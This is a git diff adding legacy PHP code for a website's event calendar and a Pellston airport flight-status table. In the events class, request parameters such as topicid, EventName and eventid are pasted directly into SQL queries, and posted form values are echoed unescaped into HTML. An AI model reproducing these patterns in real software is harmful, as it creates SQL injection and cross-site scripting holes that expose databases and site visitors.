+                       elseif( strtotime( $_POST['EventDateFrom'] ) == -1 )
+                       {
+                               return('Calendar');
+                       }
+                       else
+                       {
+                               return('flat');
+                       }
+               }
+               elseif( $_POST['topicid'] || $_GET['topicid'] || $_POST['topic'] 
+                               || $_POST['topics_id'] || $_POST['EventName'])
+               {
+                       return('flat');
+               }
+               else
+               {
+                       return('Calendar');
+               }
+       }
+
+       // date helper funcs
+       function lastDayOfMonth($timestamp = '')
+       {
+               if($timestamp=='') $timestamp=time();
+               return( mktime(0,0,0, date("m",$timestamp)+1, 1, date("Y",$timestamp))-3600*24);
+       }
+       function show_print_link()
+       {
+               if(!ereg("printable.phtml",$GLOBALS["PHP_SELF"]))
+               {
+                       $month = (int)substr($GLOBALS['month'],0,2);
+                       $year = (int)substr($GLOBALS['month'],3,6);
+                       $out = '<a href="#"
+                               onClick="javascript:window.open(\''.URL_BASE.'printable.phtml?topic='.$GLOBALS["topic"].'&amp;month='.$month.'&amp;year='.$year.'&amp;eventid='.$GLOBALS["eventid"].'\',\'print\',\'width=630,height=646,scrollbars=yes,toolbar=no,resizable=yes\')"><img border="0" src="'.URL_BASE.'assets/small_printer_icon.gif"></a>';
+               }
+               else
+               {
+                       $out = '';
+               }
+               return( $out );
+       }
+       function firstDayOfMonth($timestamp='')
+       {
+               if($timestamp=='') $timestamp=time();
+               return(mktime(0,0,0, date("m",$timestamp), 1, date("Y",$timestamp)));
+       }
+
+       // end date helper
+
+       /**
+        * @uses DB::db_auto_get_data()
+        * @uses GLM_EVENT::firstDayOfMonth()
+        * @uses GLM_EVENT::lastDayOfMonth()
+        */
+       function get_by_topic($topic)
+       {
+               // method fetches events based on topic id
+
+               if(!$year)
+               {
+                       $year = date("Y");
+               }
+               if(!$month || $month == "All")
+               {
+                       $month = date("n");     
+               }
+               if(ereg("^0([0-9]).*",$month,$part))
+                       $month = $part[1];
+               $st = mktime(0,0,0,$month,1,$year);
+               $starting = date("m-d-Y",$this->firstDayOfMonth($st));
+               $ending = date("m-d-Y",$this->lastDayOfMonth($st));
+
+               $query = "SET DATESTYLE TO 'SQL,US';
+               SELECT          id,header,
+                                       date_part('month',bdate) as mon,
+                                       date_part('day',bdate) as day,
+                                       date_part('year',bdate) as yr,
+                                       date_part('month',edate) as mon2,
+                                       date_part('day',edate) as day2,
+                                       date_part('year',edate) as yr2,
+                                       bdate as sdate, edate as edate,
+                                       btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+                                               FROM            event
+                                               WHERE           visable = 't'";
+
+               $topqs=" AND topicid = $topic ";
+
+               if($topic!='All')
+               {
+                       $query.=$topqs;
+               }
+               //$query .= "AND        bdate <= '$ending' AND edate >= '$starting' ";
+               $query .= "ORDER BY     bdate DESC,btime ASC";
+               $events_data = $this->DB->db_auto_get_data($query);
+               return $events_data;
+       }
+
+       /**
+        * get_event_search
+        * 
+        * @uses PGSQL_ASSOC
+        * @uses GLM_EVENT::$page_name
+        * @uses calendar()
+        * @uses DB::db_auto_get_data()
+        * @uses DB::db_exec()
+        * @return string
+        **/
+       function get_event_search( $cal = 0 )
+       {
+               $out = '';
+
+               unset($emonths);
+               $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+               // Set up the $selection array to get a query box use only item fields
+               $selection = array( );
+
+               // Month part do not change
+               $qs = "SELECT   bdate,date_part('month', bdate) as d1_month,
+                       date_part('month', edate) as d2_month,
+                       date_part('year', bdate) as d1_year,
+                       date_part('year', edate) as d2_year
+                               FROM    event
+                               WHERE   edate >= CURRENT_DATE
+                               AND     visable = 't'
+                               ORDER BY bdate ASC;";
+
+               $result = $this->DB->db_exec($qs);
+
+               $page = BASE_URL.'events.phtml';
+
+               for($i=0;$i<pg_numrows($result);$i++) 
+               {
+                       $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC); 
+                       $s_month = $data['d1_month'];
+                       $s_year = $data['d1_year'];
+                       $e_month = $data['d2_month'];
+                       $e_year = $data['d2_year'];
+
+                       $watchdog = 20; 
+                       for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) 
+                       {
+                               if( $m == 13 ) 
+                               {
+                                       $y++;
+                                       $m = 1;
+                               }
+
+                               $emonth = sprintf( "%02d %04d", $m, $y );
+                               if( !isset($emonths["$emonth"]) )
+                               {
+                                       $emonths["$emonth"] = 0;
+                               }
+                               $emonths["$emonth"]++;
+
+                               if( $watchdog-- == 0 )
+                               {
+                                       break 1;
+                               }
+                               $m++;
+                       }
+               }
+
+               // Selections part
+               while( list($key,$value) = each($selection)) 
+               {
+                       $qs = "SELECT  
+                               DISTINCT $key
+                               FROM    event
+                               WHERE   visable = 't'
+                               AND             edate >= CURRENT_DATE
+                               ORDER BY $key;";
+
+                       $result = $this->DB->db_exec($qs);
+
+                       $out .= "<select name=\"$key\">";
+
+                       for ($i=0;$i<pg_numrows($result);++$i) 
+                       {
+                               $data = pg_result($result,$i,$key);
+                               if($data != "") 
+                               {
+                                       $out .= "<option value=\"$data\">$data\n"; 
+                               }
+                       }
+
+                       $out .= "</select>\n";
+               }
+               $out .= '<a name="event"></a>';
+               // topic search part
+               $qs = "select distinct on (descr) id,descr,topiccolor  
+                       from    topic 
+                       where   id in ( select topicid from event where visable = 't' )
+                       order by descr;";
+               if( $result = $this->DB->db_auto_get_data($qs) )
+               {
+                       $out .= '<div class="clearer"></div><div id="topicsearch">';
+                       foreach( $result as $tkey => $trow )
+                       {
+                               $out .= '<div class="topicsearchrow"><div class="'.discolor($trow['topiccolor']).' topicsearchheader">&nbsp;</div>
+                                       <a href="'.BASE_URL.'events.phtml?topicid='.$trow['id'].'">'.$trow['descr'].'</a></div>';
+                       }
+                       $out .= '</div>';
+               }
+               $month_qs = "SELECT 
+                       DISTINCT        bdate
+                       FROM            event
+                       WHERE           visable = 't'
+                       AND             edate >= CURRENT_DATE
+                       ORDER BY        bdate;";        
+
+                       $result = $this->DB->db_exec($month_qs);
+               if( $_POST['month'] )
+               {
+                       $month = (int)substr($_POST['month'],0,2);
+                       $year = (int)substr($_POST['month'],3,6);
+               }
+               elseif( $_GET['month'] )
+               {
+                       $month = (int)$_GET['month'];
+                       $year = (int)$_GET['year'];
+               }
+               else
+               {
+                       $month = (int)date("m");
+                       $year = (int)date("Y");
+               }
+               $out .= '<div id="smallcals">';
+               if( $month - 1 < 1 )
+               {
+                       $prev_month = 12;
+                       $prev_year = $year - 1;
+               }
+               else
+               {
+                       $prev_month = $month - 1;
+                       $prev_year = $year;
+               }
+               if( $month + 1 > 12 )
+               {
+                       $next_month = 1;
+                       $next_year = $year + 1;
+               }
+               else
+               {
+                       $next_month = $month + 1;
+                       $next_year = $year;
+               }
+               $out .= calendar($prev_month,$prev_year,1,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;event=1&amp;eventid=1&amp;month='.$month,$newdata);
+               $out .= calendar($month,$year,1,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;event=1&amp;eventid=1&amp;month='.$month,$newdata);
+               $out .= calendar($next_month,$next_year,1,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;event=1&amp;eventid=1&amp;month='.$month,$newdata);
+               $out .= '</div>';
+               $out .= '<div id="monthsearch">
+                       <form action="'.$page.'#event" method="POST">';
+               $out .= "By Month: <select name=\"month\">";
+               //$out .= '<option value="">Show All Month</option>';
+               if(isset($emonths) && is_array($emonths)) 
+               {
+                       for(reset($emonths);$key=key($emonths);next($emonths)) 
+                       {
+                               $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+                               $now = mktime(0,0,0,date("m"),1,date("Y"));
+                               if($date>=$now) 
+                               {
+                                       $out .= "<option value=\"$key\">";
+                                       $m = substr( $key, 0, 2 );
+                                       $out .= $month_id[$m-1]." ".substr($key,3,4)."\n";
+                               }
+                       }
+               }
+               $out .= '</select>';
+               $out .= '<input type="SUBMIT" value="GO" name="SUBMIT">';
+               $out .= '<a href="'.BASE_URL.'events.phtml?advance=1">Advanced Search</a>';
+               $out .= '</form><div class="clearer"></div></div>';
+               return( $out );
+       }
+
+       /**
+        * advanced_search
+        *
+        * <p>Show an advanced search form</p>
+        *
+        * @uses DB::db_auto_get_data()
+        * @return string
+        */
+       function advanced_search()
+       {
+               $out = '';
+               $out .= $this->get_event_search(1);
+               $out .= '
+                       <h4>Advanced Search Option:</h4>
+                       <form action="'.BASE_URL.'events.phtml" method="post">
+                       <table id="event-advanced-search">
+                         <tr>
+                           <td>Search For:</td>
+                               <td>
+                                       <input name="EventName" value="'.$_POST['EventName'].'">
+                               </td>
+                         </tr>
+                         <tr>
+                           <td>Search By Topic:</td>
+                               <td>
+                       ';
+               $query = "select id,descr from topic;";
+               if( $data = $this->DB->db_auto_get_data( $query ) )
+               {
+                       foreach( $data as $key => $val )
+                       {
+                               $out .= '
+                               <input type="checkbox" name="topics_id[]" id="chxbox_'.$val["id"].'" value="'.$val["id"].'">
+                               <label for="chxbox_'.$val["id"].'">'.$val["descr"].'</label><br>
+                               ';
+                       }
+               }
+               $out .= '
+                           </td>
+                         </tr>
+                         <tr>
+                           <td>From:</td>
+                               <td>
+                                       <input name="EventDateFrom" value="'.$_POST['EventDateFrom'].'"> (MM/DD/YYYY)
+                               </td>
+                         </tr>
+                         <tr>
+                           <td>To:</td>
+                               <td>
+                                       <input name="EventDateTo" value="'.$_POST['EventDateTo'].'"> (MM/DD/YYYY)
+                               </td>
+                         </tr>
+                         <tr>
+                           <td colspan="2" align="right"><input type="submit" value="Search"></td>
+                         </tr>
+                       </table>
+                       </form>';
+               return( $out );
+       }
+
+       /**
+        * get_events:
+        * @param $type: 
+        * @uses BASE
+        * @uses GLM_EVENT::get_event_search()
+        * @uses GLM_EVENT::make_events()
+        * @uses GLM_EVENT::$display_type
+        * @uses DB::db_auto_get_data()
+        * @uses calendar()
+        **/
+       function get_events()
+       {
+               if( $_GET['advance'] == 1 )
+               {
+                       require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+                       $out = $this->advanced_search();
+                       echo $out;
+                       return( false );
+               }
+               $out = '';
+               if( $_POST['month'] )
+               {
+                       $month = (int)substr($_POST['month'],0,2);
+                       $year = (int)substr($_POST['month'],3,6);
+               }
+               elseif( $_GET['month'] )
+               {
+                       $month = (int)$_GET['month'];
+                       $year = (int)$_GET['year'];
+               }
+               else
+               {
+                       $month = (int)date("m");
+                       $year = (int)date("Y");
+               }
+               $GLOBALS['month'] = $month;
+               $GLOBALS['year'] = $year;
+
+               if( $_GET['flat'] == 1 && $_GET['day'] && $_GET['month'] && $_GET['year'])
+               {
+                       require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+                       $out .= $this->get_event_search(1);
+                       $mydate = date("m-d-Y",mktime(0,0,1,$_GET['month'],$_GET['day'],$_GET['year']));
+                       $myDayOw = date("w",mktime(0,0,1,$_GET['month'],$_GET['day'],$_GET['year']));
+                       switch( $myDayOw )
+                       {
+                               case 1:
+                                       $myDayOw = 1;
+                                       break;
+                               case 2:
+                                       $myDayOw = 2;
+                                       break;
+                               case 3:
+                                       $myDayOw = 4;
+                                       break;
+                               case 4:
+                                       $myDayOw = 8;
+                                       break;
+                               case 5:
+                                       $myDayOw = 16;
+                                       break;
+                               case 6:
+                                       $myDayOw = 32;
+                                       break;
+                               case 7:
+                                       $myDayOw = 64;
+                                       break;
+                       }
+                       $myDayOw = $myDayOw << 1;
+                       $qs="set datestyle to 'sql,us';";
+                       $qs.= "select e.*,t.descr as topicname FROM event e left outer join topic t on ( e.topicid = t.id ) 
+                               where ( reacur != 't' 
+                                               and e.visable = 't' 
+                                               and e.edate >= '$mydate' 
+                                               and e.bdate <= '$mydate')
+                               or (reacur = 't' 
+                                               and e.visable = 't' 
+                                               and e.edate >= '$mydate' 
+                                               and e.bdate <= '$mydate'
+                                               and e.daysow & $myDayOw = $myDayOw 
+                                  );";
+                       $row=$this->DB->db_auto_get_data($qs);
+                       $out .= $this->make_events($row);
+               }
+               elseif( $this->display_type == "Calendar" )
+               {
+                       require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+                       if(!$GLOBALS["eventid"])
+                       {
+                               $out .= $this->get_event_search(1);
+                               //$out .= '<br clear="all">';
+                               $out .= ''."\n";
+                               $out .= calendar($month,$year,2,$this->page_name.'?catid=24&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;event=1&amp;eventid=1&amp;month='.$month,$newdata);
+
+                       }
+                       else
+                       {
+                               //      include("classes/glm-Events-2-0.phtml");
+                               $qs="SET DATESTYLE TO 'SQL,US';SELECT event.*,topic.descr as topicname FROM event left outer join topic on ( topic.id = event.topicid ) WHERE event.id = ".$GLOBALS["eventid"];
+
+                               $row=$this->DB->db_auto_get_data($qs);
+                               $out .= $this->get_event_search(1);
+                               $out .= $this->make_events($row);
+                               $out .= '<div class="clearer"></div>'."\n";
+                               $out .= calendar($month,$year,2,$this->page_name.'?catid='.$GLOBALS["catid"].'&amp;event=1&amp;month=',$this->page_name.'?catid=24&amp;eventid=1&month='.$month,$newdata);
+                               //      $out .= '<div align="center"><a href="./">Back to Calendar</a></div>';
+                       }       
+               }
+               else
+               {
+                       require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+                       $noSearch = true;
+                       $searching = '';
+                       $out .= $this->get_event_search(1);
+                       $qs="SET DATESTYLE TO 'SQL,US';";
+                       $qs.="SELECT e.*,t.descr as topicname FROM event e left outer join topic t on ( e.topicid = t.id ) where e.visable = 't'";
+                       if( isset( $_GET['topicid'] ) && $_GET['topicid'] != 'All' )
+                       {
+                               $noSearch = false;
+                               $query = "select descr from topic where id = ".$_GET['topicid'];
+                               $row2=$this->DB->db_auto_get_data($query);
+                               $qs .= " and e.topicid = ".$_GET['topicid'];
+                               $searching .= 'Showing all '.$row2[0]['descr'].'';
+                       }
+                       if( is_array( $_POST['topics_id'] ) || $_POST['EventName'] )
+                       {
+                               $noSearch = false;
+                               if( $_POST['EventName'] != '' )
+                               {
+                                       $qs .= " and ( e.header ilike '%".$_POST['EventName']."%'";
+                                       $qs .= " or e.descr ilike '%".$_POST['EventName']."%' )";
+                                       $searching .= 'Searching for &quot;'.$_POST['EventName'].'&quot; ';
+                               }
+                               else
+                               {
+                                       $searching .= 'Searching for anything ';
+                               }
+                               //$qs = "SET DATESTYLE TO 'SQL,US';SELECT * FROM event where visable = 't'";
+                               if( is_array( $_POST['topics_id'] ) && count( $_POST['topics_id'] ) > 0 )
+                               {
+                                       $topics_list = implode( ",",$_POST['topics_id'] );
+                                       $qs .= " and e.topicid in ( $topics_list )";
+                                       $query = "select descr from topic where id  in ( $topics_list )";
+                                       $order_by = "t.descr,";
+                                       if( $row2=$this->DB->db_auto_get_data($query) )
+                                       {
+                                               foreach( $row2 as $k => $v )
+                                               {
+                                                       $tps[] = $v['descr'];
+                                               }
+                                       }
+                                       if( is_array( $tps ) )
+                                       {
+                                               $searching .= 'in '.implode(', ',$tps).' ';
+                                       }
+                               }
+                       }
+                       if( $_POST['EventDateTo'] && $_POST['EventDateFrom'] 
+                                       && ( strtotime( $_POST['EventDateFrom'] )  != -1 ) 
+                                       && ( strtotime( $_POST['EventDateTo'] ) != -1 )
+                                       )
+                       {
+                               $noSearch = false;
+                               if( $_POST['EventName'] == '' && $searching == '' )
+                               {
+                                       $searching .= 'Searching for anything ';
+                               }
+                               $begin_time = date('n/j/Y',strtotime( $_POST['EventDateFrom'] ) );
+                               $end_time = date('n/j/Y',strtotime( $_POST['EventDateTo'] ) );
+                               $qs .= " and e.bdate <= '$end_time' and e.edate >= '$begin_time'";
+                               $searching .= ' between '.$begin_time.' and '.$end_time;
+                       }
+                       if( $noSearch )
+                       {
+                               $qs="SET DATESTYLE TO 'SQL,US';SELECT * FROM event where visable = 't' and edate >= current_date order by e.bdate,e.edate;";
+                       }
+                       else
+                       {
+                               $qs .= ' order by '.$order_by.'e.bdate,e.edate';
+                       }
+                       $row=$this->DB->db_auto_get_data($qs);
+                       //$out .= '<!-- '.$qs.' -->';
+                       if( $searching )
+                       {
+                               $out .= '<div id="searching"><h4>'.$searching.'</h4>';
+                               $out .= '</div>';
+                       }
+                       $out .= $this->make_events($row);
+               }
+               echo $out;
+       }
+       /**
+        * make_events:
+        * @uses ORIGINAL_PATH
+        * @uses BASE_URL
+        * @uses MIDSIZED
+        * @uses THUMB
+        * @uses GLM_TEMPLATE::get_event_date()
+        * @uses GLM_EVENT::format_to_time()
+        * @uses GLM_EVENT::keyword_replace()
+        * @param array $row The data array.  
+        * @return string
+        **/
+       function make_events($row)
+       {
+               //$event='<br>'."\n";
+               $event='<div class="eventcontainer">'."\n";
+               for($i=0;$i<sizeof($row);$i++)
+               {
+                       // Header
+                       $event.="<div class=\"eventheader\">".$row[$i]['header']."</div>";
+
+                       // Topic
+                       $event.="<div class=\"eventdate\">Topic: ".$row[$i]['topicname']."</div>";
+
+                       // Date
+                       if( $row[$i]['bdate'] != '' )
+                       {
+                               $event.='<div><span class="eventdate">';
+                               $sdate = strtotime($row[$i]["bdate"]);
+                               $edate = strtotime($row[$i]["edate"]);
+                               $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+                               $event.=$thedate;
+                               $event.="</span></div>\n";
+                       }
+
+                       // time
+                       $days[1] = "Sun. ";
+                       $days[2] = "Mon. ";
+                       $days[4] = "Tue. ";
+                       $days[8] = "Wed. ";
+                       $days[16] = "Thu. ";
+                       $days[32] = "Fri. ";
+                       $days[64] = "Sat. ";
+                       $reacur = '';
+                       if( $row[$i]['reacur']  == 't')
+                       {
+                               $reacur = '';
+                               if($row[$i]["weekom"])
+                               {
+                                       switch($row[$i]["weekom"])
+                                       {
+                                               case 1:
+                                                       $reacur .= "1st ";
+                                                       break;
+
+                                               case 2:
+                                                       $reacur .= "2nd ";
+                                                       break;
+
+                                               case 3:
+                                                       $reacur .= "3rd ";
+                                                       break;
+
+                                               case 4:
+                                                       $reacur .= "4th ";
+                                                       break;
+
+                                       }
+                               }
+                               if( $row[$i]['daysow'])
+                               {
+                                       $ri = 1;
+                                       for($r=1;$r<8;$r++)
+                                       {
+                                               if($row[$i]["daysow"]&$ri)
+                                                       $reacur .= $days[$ri];
+                                               $ri = $ri << 1;
+                                       }
+                               }
+                               $event.='('.$reacur.')<br>';
+                       }
+                       else
+                       {
+                               $reacur = '';
+                       }
+                       if($row[$i]['btime'])
+                       {
+                               if($row[$i]['btime'] && $row[$i]['etime']) 
+                               {
+                                       $time = "".$this->format_to_time($row[$i]['btime'])." to ".$this->format_to_time($row[$i]['etime'])."<br>";             
+                               }
+                               elseif($row[$i]['btime'] && !$row[$i]['etime']) 
+                               {
+                                       $time = "@ ".$this->format_to_time($row[$i]['btime'])."<br>";           
+                               }
+                               else 
+                               {
+                                       $time = "";             
+                               }
+                               $event.=$time;
+                       }
+                       // Location
+                       if($row[$i]['loc']!='')
+                       {
+                               $event.='<div><span class="eventloc">Location: </span><span class="eventvalue">';
+                               $event.=$row[$i]['loc'];
+                               $event.="</span></div>\n";
+                       }
+
+                       // URL
+                       if($row[$i]['url']!='')
+                       {
+                               $event.='<div><span class="eventurl">URL: </span><span class="eventvalue">';
+                               $event.='<a href="http://'.$row[$i][url].'" target="_blank">'.$row[$i][url].'</a>';
+                               $event.="</span></div>\n";
+                       }
+                       // FILE
+                       if($row[$i]['file']!='')
+                       {
+                               $filename = ($row[$i]['filename']) ? $row[$i]['filename'] : $row[$i]['file'];
+                               $event.='<div><span class="eventurl">File:</span><span class="eventvalue">';
+                               $event.='<a href="'.BASE_URL.'uploads/'.$row[$i]["file"].'" target="_blank">'.$filename.'</a>';
+                               $event.="</span></div>\n";
+                       }
+
+                       // Image
+                       if($row[$i]['img']!='')
+                       {
+                               $image = $row[$i]['img'];
+                               if( is_file( ORIGINAL_PATH.$image ) )
+                               {
+                                       $size = getImageSize( ORIGINAL_PATH.$image );
+                                       $width = $size[0];
+                                       $height = $size[1];
+                               }
+                               $event.='<div class="eventimg1">
+                                       <img alt="'.$image.'" title="'.$image.'" src="'.MIDSIZED.$image.'" border="0">
+                                       </div>'."\n";
+                       }                               
+
+                       // Description
+                       if($row[$i]['descr']!='')
+                       {
+                               $event.='<div class="eventdescr">';
+                               $event.= $this->keyword_replace( $row[$i]['descr'] )."<BR>";
+                               $event.="</div>\n";
+                       }
+
+
+                       // Description2
+                       if($row[$i]['descr2']!='')
+                       {
+                               $event.='<div class="eventdescr">';
+                               $event.= $this->keyword_replace( $row[$i]['descr2'] )."<BR>";
+                               $event.="</div>\n";
+                       }
+
+                       // Image
+                       if($row[$i]['img2']!='')
+                       {
+                               $event.='<div class="eventimg2"><img src="'.THUMB.$row[$i]['img2'].'"></div>'."\n";
+                       }
+                       // Image
+                       if($row[$i]['img3']!='')
+                       {
+                               $event.='<div class="eventimg3"><img src="'.THUMB.$row[$i]['img3'].'"></div>'."\n";
+                       }
+
+                       // Description3
+                       if($row[$i]['descr3']!='')
+                       {
+                               $event.='<div class="eventdescr">';
+                               $event.= $this->keyword_replace( $row[$i]['descr3'] )."<BR>";
+                               $event.="</div>\n";
+                       }
+
+                       // Contact
+                       if($row[$i]['contact']!='')
+                       {
+                               $event.='<div><span class="eventcontact">Contact Information: </span><br><span class="eventvalue">';
+                               $event.=$row[$i]['contact'];
+                               $event.="</span></div>\n";
+                       }
+
+                       // E-mail
+                       if($row[$i]['email']!='')
+                       {
+                               $event.='<div><span class="eventemail">E-Mail: </span><span class="eventvalue">';
+                               $event.='<a href="mailto:'.$row[$i]["email"].'">'.$row[$i]["email"].'</a>';
+                               $event.="</span></div>\n";
+                       }
+
+                       // Phone
+                       if($row[$i]['phone']!='')
+                       {
+                               $event.='<div><span class="eventphone">Phone: </span><span class="eventvalue">';
+                               $event.=$row[$i]['phone'];
+                               $event.="</span></div>\n";
+                       }
+
+
+
+                       $event .= '<div class="clearer"></div>';
+                       //Seperator
+                       //      $event.="<span class=\"bold\"><hr></hr></span>";
+               }
+                       $event.="</div>";
+               return $event;
+       }
+
+       /**
+        * Grab the event row from database and return data array.
+        * @uses DB::db_auto_get_data 
+        * @return array
+        */
+       function get_event_by_id($id)
+       {
+               // method fetches events based on event id
+               /*
+                  id      | integer                    
+                  topicid | integer                    
+                  bdate   | date                       
+                  edate   | date                       
+                  loc     | text                       
+                  header  | text                       
+                  descr   | text                       
+                  img     | text                       
+                  url     | text                       
+                  contact | text                       
+                  phone   | text                       
+                  email   | text                       
+                  btime   | text                       
+                  etime   | text                       
+                  visable | boolean                    
+                  home    | boolean                    
+                  ds      | timestamp without time zone
+                  daysow  | integer                    
+                  reacur  | boolean                    
+                  weekom  | text                       
+                */
+               $query = "SET DATESTYLE TO 'SQL,US';
+               SELECT          header,
+                                       date_part('month',bdate) as mon,
+                                       date_part('day',bdate) as day,
+                                       date_part('year',bdate) as yr,
+                                       date_part('month',edate) as mon2,
+                                       date_part('day',edate) as day2,
+                                       date_part('year',edate) as yr2,
+                                       bdate as sdate, edate as edate,phone,
+                                       btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+                                               FROM            event
+                                               WHERE           visable = 't' AND id=$id";
+               $events_data = $this->DB->db_auto_get_data($query);
+               return $events_data;
+       }
+
+       /**
+        * format_to_time:
+        * @param $time: 
+        * @return string 
+        **/
+       function format_to_time($time)
+       {
+               return($time);
+
+               $timestamp = strtotime("today $time");
+               $newtime = date("g:i A",$timestamp); 
+               return($newtime);
+       }
+       /**#@-*/
+}
+?>
diff --git a/classes/class_flight.inc b/classes/class_flight.inc
new file mode 100644 (file)
index 0000000..8c3b6e9
--- /dev/null
@@ -0,0 +1,227 @@
+<?php
+       class glm_flight {
+               /**
+                * toolbox 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $toolbox;
+               /**
+                * DB 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $DB;
+               /**
+                * arr_data 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $arr_data;
+               /**
+                * dep_data 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dep_data;
+               /**
+                * airports 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $airports;
+               /**
+                * time_codes 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $time_codes;
+               /**
+                * last_updated 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $last_updated;
+               /**
+                * glm_flight 
+                * 
+                * @param mixed $toolbox 
+                * @access public
+                * @return string
+                */
+               function glm_flight( &$toolbox )
+               {
+                       $this->toolbox = &$toolbox;
+                       $this->DB =& $toolbox->DB;
+                       $this->airports = array('DTW'=>'Detroit Metro','PLN'=>'Pellston');
+                       $this->time_codes = array('A'=>'Actual','E'=>'Estimated','D'=>'Descision','S'=>'Scheduled','R'=>'In-range');
+               }
+
+               /**
+                * get_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_flight_data()
+               {
+                       $this->get_arr_flight_data();
+                       //echo '<!--<pre>';
+                       //print_r( $this->arr_data );
+                       //echo '</pre>-->';
+                       $this->get_dep_flight_data();
+                       //echo '<!--<pre>';
+                       //print_r( $this->dep_data );
+                       //echo '</pre>-->';
+                       // this for last updated time
+                       foreach( $this->arr_data as $row )
+                       {
+                               $update_times[] = strtotime($row['msg_dtm']);
+                       }
+                       foreach( $this->dep_data as $row )
+                       {
+                               $update_times[] = strtotime($row['msg_dtm']);
+                       }
+                       rsort(&$update_times);
+                       // get UTC offset for current date/time
+                       $TimeDiff = 4+date("I");
+                       $this->last_updated = '<div id="last-update"><b>Last updated:</b> '.date("n/j/Y g:i a",$update_times[0]-($TimeDiff*60*60)).'</div>';
+                       //echo '<!--<pre>';
+                       //print_r( $update_times );
+                       //echo '</pre>-->';
+               }
+
+               /**
+                * get_arr_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_arr_flight_data()
+               {
+                       $query = "select *, name AS airline from flight, airlinecodes where flt_orig_date = current_date and flt_leg_dest = 'PLN' and airlinecodes.code = flt_airline order by cur_in_time;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $this->arr_data = $data;
+                       }
+               }
+
+               /**
+                * get_dep_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_dep_flight_data()
+               {
+                       $query = "select *, name AS airline from flight, airlinecodes where flt_orig_date = current_date and flt_leg_orig = 'PLN' and airlinecodes.code = flt_airline order by cur_dep_time;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $this->dep_data = $data;
+                       }
+               }
+
+               /**
+                * format_time 
+                * 
+                * @param mixed $time 
+                * @access public
+                * @return string
+                */
+               function format_time( $time )
+               {
+                       $timestamp = strtotime( 'now '.$time );
+                       $newtime = date('g:i A',$timestamp);
+                       return( $newtime );
+               }
+
+               /**
+                * build_arrivals 
+                * 
+                * @access public
+                * @return string
+                */
+               function build_arrivals()
+               {
+                       if( is_array( $this->arr_data ) )
+                       {
+                               $out = '
+                               <table id="flight-arrivals">';
+                                       $out .= '
+                                       <tr>
+                                               <th>From</th>
+                                               <th>Flight</th>
+                                               <th>Time</th>
+                                               <th>Code</th>
+                                               <th>Gate</th>
+                                               <th>Status</th>
+                                       </tr>
+                                       ';
+                               foreach( $this->arr_data as $row )
+                               {
+                                       $out .= '
+                                       <tr>
+                                               <td>'.$this->airports[$row["flt_leg_orig"]].'</td>
+                                               <td>'.$row["airline"].' '.$row["flt_numb"].'</td>
+                                               <td>'.$this->format_time( $row["cur_in_time"] ).'</td>
+                                               <td>'.$this->time_codes[$row["cur_in_time_code"]].'</td>
+                                               <td>'.$row["arriv_gate"].'</td>
+                                               <td>'.$row["remarks"].'</td>
+                                       </tr>
+                                       ';
+                               }
+                               $out .= '</table>
+                       ';
+                       }
+                       return( $out );
+               }
+
+               /**
+                * build_departures 
+                * 
+                * @access public
+                * @return string
+                */
+               function build_departures()
+               {
+                       if( is_array( $this->dep_data ) )
+                       {
+                               $out = '
+                               <table id="flight-departures">';
+                                       $out .= '
+                                       <tr>
+                                               <th>Destination</th>
+                                               <th>Flight</th>
+                                               <th>Time</th>
+                                               <th>Code</th>
+                                               <th>Gate</th>
+                                               <th>Status</th>
+                                       </tr>
+                                       ';
+                               foreach( $this->dep_data as $row )
+                               {
+                                       $out .= '
+                                       <tr>
+                                               <td>'.$this->airports[$row["flt_leg_dest"]].'</td>
+                                               <td>'.$row["airline"].' '.$row["flt_numb"].'</td>
+                                               <td>'.$this->format_time( $row["cur_dep_time"] ).'</td>
+                                               <td>'.$this->time_codes[$row["cur_dep_time_code"]].'</td>
+                                               <td>'.$row["depart_gate"].'</td>
+                                               <td>'.$row["remarks"].'</td>
+                                       </tr>
+                                       ';
+                               }
+                               $out .= '</table>
+                       ';
+                       }
+                       return( $out );
+               }
+       }
+?>
diff --git a/classes/class_flight.inc.save b/classes/class_flight.inc.save
new file mode 100755 (executable)
index 0000000..7ebbd90
--- /dev/null
@@ -0,0 +1,227 @@
+<?php
+       class glm_flight {
+               /**
+                * toolbox 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $toolbox;
+               /**
+                * DB 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $DB;
+               /**
+                * arr_data 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $arr_data;
+               /**
+                * dep_data 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dep_data;
+               /**
+                * airports 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $airports;
+               /**
+                * time_codes 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $time_codes;
+               /**
+                * last_updated 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $last_updated;
+               /**
+                * glm_flight 
